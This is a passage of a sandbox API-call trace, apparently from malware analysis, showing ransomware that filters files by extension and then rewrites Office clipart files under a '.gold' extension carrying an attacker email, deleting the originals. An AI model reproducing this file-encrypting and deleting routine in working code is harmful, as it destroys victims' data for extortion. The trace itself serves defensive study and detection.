(lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 63 [0095.742] lstrlenW (lpString=".zip") returned 4 [0095.742] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0095.742] lstrlenW (lpString=".rar") returned 4 [0095.742] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0095.742] lstrlenW (lpString=".bz2") returned 4 [0095.742] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0095.742] lstrlenW (lpString=".7z") returned 3 [0095.742] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0095.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 63 [0095.742] lstrlenW (lpString=".dbf") returned 4 [0095.742] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0095.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 63 [0095.742] lstrlenW (lpString=".1cd") returned 4 [0095.742] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0095.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 63 [0095.742] lstrlenW (lpString=".jpg") returned 4 [0095.742] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0095.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 63 [0095.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 63 [0095.742] lstrlenW (lpString=".doc") returned 4 [0095.742] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0095.742] lstrlenW (lpString=".docx") returned 5 [0095.742] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0095.742] lstrlenW (lpString=".pdf") returned 4 [0095.742] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0095.742] lstrlenW (lpString=".xls") returned 4 [0095.742] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0095.742] lstrlenW (lpString=".xlsx") returned 5 [0095.742] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0095.742] lstrlenW (lpString=".ppt") returned 4 [0095.742] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0095.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 63 [0095.742] lstrlenW (lpString=".zip") returned 4 [0095.742] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0095.742] lstrlenW (lpString=".rar") returned 4 [0095.743] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0095.743] lstrlenW (lpString=".bz2") returned 4 [0095.743] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0095.743] lstrlenW (lpString=".7z") returned 3 [0095.743] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0095.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 63 [0095.743] lstrlenW (lpString=".dbf") returned 4 [0095.743] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0095.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 63 [0095.743] lstrlenW (lpString=".1cd") returned 4 [0095.743] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0095.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 63 [0095.743] lstrlenW (lpString=".jpg") returned 4 [0095.743] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0095.743] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0095.743] lstrlenW (lpString="FD00306_.WMF") returned 12 [0095.743] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00306_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0095.745] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=46814) returned 1 [0095.745] CloseHandle (hObject=0x190) returned 1 [0095.745] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00306_.wmf")) returned 0x20 [0095.747] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00306_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0095.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00306_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0095.747] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.747] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00306_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0095.748] GetLastError () returned 0x0 [0095.748] ReadFile (in: hFile=0x3b4, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0xb6de, lpOverlapped=0x0) returned 1 [0095.750] WriteFile (in: hFile=0x3bc, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xb6e0, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xb6e0, lpOverlapped=0x0) returned 1 [0095.751] ReadFile (in: hFile=0x3b4, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0095.751] WriteFile (in: hFile=0x3bc, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0095.751] SetEndOfFile (hFile=0x3bc) returned 1 [0095.751] CloseHandle (hObject=0x3bc) returned 1 [0095.751] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.751] SetEndOfFile (hFile=0x3b4) returned 1 [0095.753] CloseHandle (hObject=0x3b4) returned 1 [0095.754] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0095.754] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00306_.wmf")) returned 1 [0095.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 63 [0095.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 63 [0095.754] lstrlenW (lpString=".doc") returned 4 [0095.754] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0095.754] lstrlenW (lpString=".docx") returned 5 [0095.754] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0095.754] lstrlenW (lpString=".pdf") returned 4 [0095.754] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0095.754] lstrlenW (lpString=".xls") returned 4 [0095.754] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0095.754] lstrlenW (lpString=".xlsx") returned 5 [0095.754] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0095.754] lstrlenW (lpString=".ppt") returned 4 [0095.754] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0095.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 63 [0095.754] lstrlenW (lpString=".zip") returned 4 [0095.754] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0095.755] lstrlenW (lpString=".rar") returned 4 [0095.755] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0095.755] lstrlenW (lpString=".bz2") returned 4 [0095.755] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0095.755] lstrlenW (lpString=".7z") returned 3 [0095.755] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0095.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 63 [0095.755] lstrlenW (lpString=".dbf") returned 4 [0095.755] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0095.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 63 [0095.755] lstrlenW (lpString=".1cd") returned 4 [0095.755] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0095.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 63 [0095.755] lstrlenW (lpString=".jpg") returned 4 [0095.755] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0095.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 63 [0095.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 63 [0095.755] lstrlenW (lpString=".doc") returned 4 [0095.755] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0095.755] lstrlenW (lpString=".docx") returned 5 [0095.755] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0095.755] lstrlenW (lpString=".pdf") returned 4 [0095.755] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0095.755] lstrlenW (lpString=".xls") returned 4 [0095.755] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0095.755] lstrlenW (lpString=".xlsx") returned 5 [0095.755] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0095.755] lstrlenW (lpString=".ppt") returned 4 [0095.755] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0095.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 63 [0095.755] lstrlenW (lpString=".zip") returned 4 [0095.755] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0095.755] lstrlenW (lpString=".rar") returned 4 [0095.755] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0095.755] lstrlenW (lpString=".bz2") returned 4 [0095.755] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0095.755] lstrlenW (lpString=".7z") returned 3 [0095.755] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0095.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 63 [0095.755] lstrlenW (lpString=".dbf") returned 4 [0095.755] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0095.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 63 [0095.755] lstrlenW (lpString=".1cd") returned 4 [0095.755] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0095.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 63 [0095.756] lstrlenW (lpString=".jpg") returned 4 [0095.756] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0095.756] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0095.756] lstrlenW (lpString="FD00336_.WMF") returned 12 [0095.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00336_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0095.756] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=6068) returned 1 [0095.756] CloseHandle (hObject=0x3b4) returned 1 [0095.756] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00336_.wmf")) returned 0x20 [0095.756] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00336_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0095.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00336_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0095.757] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.757] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.757] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00336_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0095.757] GetLastError () returned 0x0 [0095.757] ReadFile (in: hFile=0x3b4, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x17b4, lpOverlapped=0x0) returned 1 [0095.758] WriteFile (in: hFile=0x3bc, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x17c0, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x17c0, lpOverlapped=0x0) returned 1 [0095.759] ReadFile (in: hFile=0x3b4, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0095.759] WriteFile (in: hFile=0x3bc, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0095.759] SetEndOfFile (hFile=0x3bc) returned 1 [0095.759] CloseHandle (hObject=0x3bc) returned 1 [0095.759] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.759] SetEndOfFile (hFile=0x3b4) returned 1 [0095.761] CloseHandle (hObject=0x3b4) returned 1 [0095.761] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0095.761] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00336_.wmf")) returned 1 [0095.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 63 [0095.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 63 [0095.762] lstrlenW (lpString=".doc") returned 4 [0095.762] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0095.762] lstrlenW (lpString=".docx") returned 5 [0095.762] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0095.762] lstrlenW (lpString=".pdf") returned 4 [0095.762] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0095.762] lstrlenW (lpString=".xls") returned 4 [0095.762] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0095.762] lstrlenW (lpString=".xlsx") returned 5 [0095.762] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0095.762] lstrlenW (lpString=".ppt") returned 4 [0095.762] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0095.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 63 [0095.762] lstrlenW (lpString=".zip") returned 4 [0095.762] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0095.762] lstrlenW (lpString=".rar") returned 4 [0095.762] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0095.762] lstrlenW (lpString=".bz2") returned 4 [0095.762] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0095.762] lstrlenW (lpString=".7z") returned 3 [0095.762] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0095.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 63 [0095.762] lstrlenW (lpString=".dbf") returned 4 [0095.762] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0095.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 63 [0095.762] lstrlenW (lpString=".1cd") returned 4 [0095.762] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0095.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 63 [0095.763] lstrlenW (lpString=".jpg") returned 4 [0095.763] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0095.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 63 [0095.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 63 [0095.763] lstrlenW (lpString=".doc") returned 4 [0095.763] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0095.763] lstrlenW (lpString=".docx") returned 5 [0095.763] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0095.763] lstrlenW (lpString=".pdf") returned 4 [0095.763] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0095.763] lstrlenW (lpString=".xls") returned 4 [0095.763] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0095.763] lstrlenW (lpString=".xlsx") returned 5 [0095.763] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0095.763] lstrlenW (lpString=".ppt") returned 4 [0095.763] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0095.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 63 [0095.763] lstrlenW (lpString=".zip") returned 4 [0095.763] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0095.763] lstrlenW (lpString=".rar") returned 4 [0095.763] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0095.763] lstrlenW (lpString=".bz2") returned 4 [0095.763] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0095.763] lstrlenW (lpString=".7z") returned 3 [0095.763] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0095.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 63 [0095.763] lstrlenW (lpString=".dbf") returned 4 [0095.763] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0095.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 63 [0095.763] lstrlenW (lpString=".1cd") returned 4 [0095.763] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0095.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 63 [0095.763] lstrlenW (lpString=".jpg") returned 4 [0095.763] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0095.763] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0095.763] lstrlenW (lpString="FD00361_.WMF") returned 12 [0095.763] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00361_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0095.764] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=4074) returned 1 [0095.764] CloseHandle (hObject=0x3b4) returned 1 [0095.764] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00361_.wmf")) returned 0x20 [0095.764] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00361_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0095.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00361_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0095.764] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.764] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00361_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0095.765] GetLastError () returned 0x0 [0095.765] ReadFile (in: hFile=0x3b4, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0xfea, lpOverlapped=0x0) returned 1 [0095.769] WriteFile (in: hFile=0x3bc, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xff0, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xff0, lpOverlapped=0x0) returned 1 [0095.770] ReadFile (in: hFile=0x3b4, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0095.770] WriteFile (in: hFile=0x3bc, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0095.770] SetEndOfFile (hFile=0x3bc) returned 1 [0095.770] CloseHandle (hObject=0x3bc) returned 1 [0095.770] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.770] SetEndOfFile (hFile=0x3b4) returned 1 [0095.772] CloseHandle (hObject=0x3b4) returned 1 [0095.772] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0095.772] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00361_.wmf")) returned 1 [0095.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 63 [0095.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 63 [0095.773] lstrlenW (lpString=".doc") returned 4 [0095.773] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0095.773] lstrlenW (lpString=".docx") returned 5 [0095.773] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0095.773] lstrlenW (lpString=".pdf") returned 4 [0095.773] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0095.773] lstrlenW (lpString=".xls") returned 4 [0095.773] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0095.773] lstrlenW (lpString=".xlsx") returned 5 [0095.773] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0095.773] lstrlenW (lpString=".ppt") returned 4 [0095.773] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0095.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 63 [0095.773] lstrlenW (lpString=".zip") returned 4 [0095.773] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0095.773] lstrlenW (lpString=".rar") returned 4 [0095.773] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0095.773] lstrlenW (lpString=".bz2") returned 4 [0095.773] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0095.773] lstrlenW (lpString=".7z") returned 3 [0095.773] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0095.773] lstrlenW (lpString="C:\\Program Files\\Microsoft 